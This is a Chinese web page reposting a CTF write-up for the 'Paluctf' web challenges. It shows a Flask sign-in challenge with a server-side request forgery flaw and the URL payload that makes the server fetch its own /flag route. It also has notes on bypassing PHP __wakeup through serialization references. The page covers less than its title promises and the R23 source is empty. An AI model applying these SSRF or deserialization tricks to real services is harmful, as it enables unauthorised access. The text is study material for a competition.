小工具知识网

当前位置: 首页 > 行业知识 > 【WP】第一届 “帕鲁杯“ - CTF挑战赛 Web 全解

行业知识

【WP】第一届 “帕鲁杯“ - CTF挑战赛 Web 全解

2026-11-11 15:54:09 来源:互联网转载

Web

Web-签到

考点:审计py代码

from flask import Flask, request, jsonifyimport requestsfrom flag import flag  # 假设从 flag.py 文件中导入了 flag 函数app = Flask(__name__)@app.route('/', methods=['GET', 'POST'])def getinfo():    url = request.args.get('url')    if url:        # 请求url        response = requests.get(url)        content = response.text        print(content)        if "paluctf" in content:            return flag        else:            return content    else:        response = {            'message': 200,  # 这里是数值,不是字符串            'data': "Come sign in and get the flag!"        }        return jsonify(response)@app.route('/flag', methods=['GET', 'POST'])def flag1():    return "paluctf"if __name__ == '__main__':    app.run(debug=True, host="0.0.0.0", port=80)
http://127.0.0.1:50258/?url=http://localhost/flag

R23 

考点:

1.采用&引用绕过_wakeup()魔术方法

2.PHP序列化中的R与r (frankli.site)

参考:PHP序列化中的R与r (frankli.site)

3.无用数据再引用绕过R:2

源代码:



上一篇:怎么不能访问服务器?

下一篇:深度解析Android注册功能源码,揭秘注册流程与实现细节全攻略